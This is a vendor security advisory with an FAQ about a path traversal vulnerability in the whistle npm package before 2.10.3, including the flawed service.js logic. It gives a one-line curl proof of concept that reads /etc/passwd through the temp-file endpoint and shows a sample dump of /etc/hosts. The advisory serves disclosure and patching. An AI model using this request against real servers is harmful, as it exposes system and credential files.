What is CVE-2026-55629?

CVE-2026-55629 is a high-severity path traversal vulnerability in whistle (npm), affecting versions < 2.10.3. It is fixed in 2.10.3. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.

Which versions of whistle are affected by CVE-2026-55629?

whistle (npm) versions < 2.10.3 is affected.

Is there a fix for CVE-2026-55629?

Yes. CVE-2026-55629 is fixed in 2.10.3. Upgrade to this version or later.

Is CVE-2026-55629 exploitable, and should I be worried?

Whether CVE-2026-55629 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

What actually determines whether CVE-2026-55629 is exploitable, and how bad it is?

Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

CVE-2026-55629 in whistle

Q: Which versions of whistle are affected by CVE-2026-55629?

whistle (npm) versions < 2.10.3 is affected.

Q: Is there a fix for CVE-2026-55629?

Yes. CVE-2026-55629 is fixed in 2.10.3. Upgrade to this version or later.

Q: Is CVE-2026-55629 exploitable, and should I be worried?

Whether CVE-2026-55629 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk.

Q: What actually determines whether CVE-2026-55629 is exploitable, and how bad it is?

Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.

Q: How do I fix CVE-2026-55629?

Upgrade whistle to 2.10.3 or later.

Summary

Whistle vulnerable to path traversal

This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.

Vulnerability detail:

In service.js, inside
app.get('/cgi-bin/temp/get', ...): var filename = req.query.filename; if (TEMP_FILE_RE.test(filename)) { filename = path.join(TEMP_FILES_PATH, filename); } getFile(filename, ...);

Only when filename matches the temp/ pattern does it get joined to the safe directory TEMP_FILES_PATH.

If it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.

In other words: if you pass passwd, it will read passwd.

POC:
curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd"

response:

xiaoming@192 ~ % curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts"
{"ec":0,"value":"##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting.  Do not change this entry.\n##\n127.0.0.1\tlocalhost\n255.255.255.255\tbroadcasthost\n::1             localhost\n199.232.68.133 raw.githubusercontent.com\n199.232.68.133 user-images.githubusercontent.com\n199.232.68.133 avatars2.githubusercontent.com\n199.232.68.133 avatars1.githubusercontent.com\n127.0.0.1 lanyundev.com\n\n127.0.0.1 www.proxifier.com\n127.0.0.1  proxifier.com\n140.82.116.4 github.com\n\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\n127.0.0.1\tlocalhost.sangfor.com.cn\n\n"}%

Impact

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Affected versions

whistle (< 2.10.3)

Security releases

whistle → 2.10.3 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

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Remediation advice

Upgrade whistle to 2.10.3 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

What is CVE-2026-55629? CVE-2026-55629 is a high-severity path traversal vulnerability in whistle (npm), affecting versions < 2.10.3. It is fixed in 2.10.3. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
Which versions of whistle are affected by CVE-2026-55629? whistle (npm) versions < 2.10.3 is affected.
Is there a fix for CVE-2026-55629? Yes. CVE-2026-55629 is fixed in 2.10.3. Upgrade to this version or later.
Is CVE-2026-55629 exploitable, and should I be worried? Whether CVE-2026-55629 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
What actually determines whether CVE-2026-55629 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
How do I fix CVE-2026-55629? Upgrade whistle to 2.10.3 or later.